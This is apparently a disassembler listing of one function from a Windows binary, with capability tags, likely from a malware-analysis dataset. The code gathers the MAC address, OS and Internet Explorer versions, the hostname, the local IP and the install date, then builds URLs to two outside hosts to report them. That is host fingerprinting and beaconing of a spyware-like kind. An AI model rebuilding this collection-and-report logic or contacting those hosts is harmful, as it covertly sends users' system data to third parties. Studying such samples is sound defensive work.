Function at 0x4015b0
Capabilities:
Check os version
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9ec
push esi
lea eax, [esp + 0x860]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x70]
lea edx, [esp + 0xd4]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x1b0]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x214]
rep stosd dword es:[edi], eax
mov ecx, 0x10
lea edi, [esp + 0xd4]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x278]
push edx
mov byte [esp + 0xd8], 0x37
mov dword [esp + 0xdc], ecx
mov word [esp + 0xe0], pe_nt_image_headers32
call sub.NETAPI32.dll_Netbios
test al, al
jne 0x40164e
mov ecx, dword [esp + 0x279]
lea eax, [esp + 0x70]
and ecx, 0xff
push eax
push ecx
call fcn.00401140
add esp, 8
lea edi, [esp + 0x70]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0xa
jae 0x401685
mov edi, str.00_12_34_56_78_99
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x70]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1b0]
push ecx
push str.Version
push str.SOFTWAREMicrosoftInternet_Explorer
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00401060
add esp, 0x10
lea edx, [esp + 0x114]
mov byte [esp + 0x1b3], 0
mov dword [esp + 0x114], 0x9c
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x1a8]
mov ecx, dword [esp + 0x11c]
mov edx, dword [esp + 0x118]
and eax, 0xffff
push eax
push ecx
push edx
lea eax, [esp + 0x220]
push str._d._d_sp_d
push eax
call fcn.0040a3ac
mov eax, dword [esp + 0xa10]
add esp, 0x14
cmp eax, 1
jne 0x4017cf
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040a6ee
xor ecx, ecx
add esp, 4
mov dword [esp + 8], ecx
xor esi, esi
mov dword [esp + 0xc], ecx
mov byte [esp + 0x10], cl
call fcn.0040a6fb
cdq
mov ecx, 0x1a
idiv ecx
add dl, 0x30
mov byte [esp + esi + 8], dl
inc esi
cmp esi, 8
jl 0x401726
lea edx, [esp + 8]
lea eax, [esp + 0x214]
push edx
push eax
call fcn.00401520
add esp, 8
lea ecx, [esp + 8]
lea edx, [esp + 0x1b0]
push eax
push ecx
push edx
call fcn.00401520
add esp, 8
lea ecx, [esp + 0x74]
push eax
lea eax, [esp + 0x10]
push eax
push ecx
call fcn.00401520
add esp, 8
lea edx, [esp + 0x10]
push eax
push edx
call fcn.004014f0
add esp, 4
mov ecx, dword [esp + 0xa04]
lea edx, [esp + 0x488]
push eax
mov eax, dword [esp + 0xa10]
neg eax
sbb eax, eax
add eax, 2
push eax
push ecx
push str.http:__t.huangdou.pw:24080_ccnf_ct.jsp_pid_sins_dp_sm_si_so_s
push edx
call fcn.0040a3ac
lea eax, [esp + 0x49c]
push eax
call fcn.00401560
add esp, 0x24
pop edi
pop esi
add esp, 0x9ec
ret
cmp eax, 2
jne 0x4019b4
push ebx
mov ebx, dword [esp + 0xa04]
neg ebx
sbb ebx, ebx
push ebp
add ebx, eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebp, dword [esp + 0xa00]
mov dword [esp + 0x24], eax
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x78]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
test edx, edx
jle 0x401823
movsx edi, byte [eax + ebp]
add esi, edi
inc eax
cmp eax, edx
jl 0x401818
mov edx, dword [esp + 0x120]
lea eax, [edx + 1]
xor edx, edx
imul eax, esi
test ecx, ecx
jle 0x401842
movsx esi, byte [esp + edx + 0x78]
add eax, esi
inc edx
cmp edx, ecx
jl 0x401836
mov ecx, dword [esp + 0xa10]
mov edx, dword [esp + 0xa0c]
push 0x104
lea ebp, [ecx - 0x243]
lea ecx, [esp + 0x384]
imul ebp, eax
mov eax, dword [esp + 0x1b4]
mov dword [esp + 0x2c], ebp
and eax, 0xffff
add ebp, edx
inc eax
push ecx
imul ebp, eax
add ebp, 0xb3
call dword [sym.imp.WS2_32.dll_gethostname]
lea edx, [esp + 0x380]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4018cf
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
test eax, eax
je 0x4018cf
mov eax, dword [eax]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x64]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x20]
push ecx
push str.InstallDate
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00401000
mov edx, dword [esp + 0x30]
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x30], edx
call fcn.0040a58e
mov ecx, 9
mov esi, eax
lea edi, [esp + 0x40]
add esp, 0x14
rep movsd dword es:[edi], dword [esi]
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x40]
inc edx
push ecx
add eax, 0x76c
push edx
push eax
lea ecx, [esp + 0x5c]
push str._04d__02d__02d
push ecx
call fcn.0040a3ac
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
add esp, 0x14
lea ecx, [esp + 0x50]
push edx
mov edx, dword [esp + 0x1b4]
push ebp
push eax
mov eax, dword [esp + 0x130]
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x130]
push edx
push eax
lea edx, [esp + 0x1d0]
push ecx
lea eax, [esp + 0x94]
push edx
mov edx, dword [esp + 0xa20]
lea ecx, [esp + 0x84]
push eax
mov eax, dword [esp + 0xa34]
push ecx
mov ecx, dword [esp + 0xa34]
push edx
push ebx
push eax
push ecx
lea edx, [esp + 0x4bc]
push str.http:__mp.winrank.net_mcsetup_id_dcn_dst_duuid_slocalip_smac_siev_sosv_dosm_dsp_dosst_sv_dr_drr_d
push edx
call fcn.0040a3ac
lea eax, [esp + 0x4c4]
push eax
call fcn.00401560
add esp, 0x44
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x9ec
ret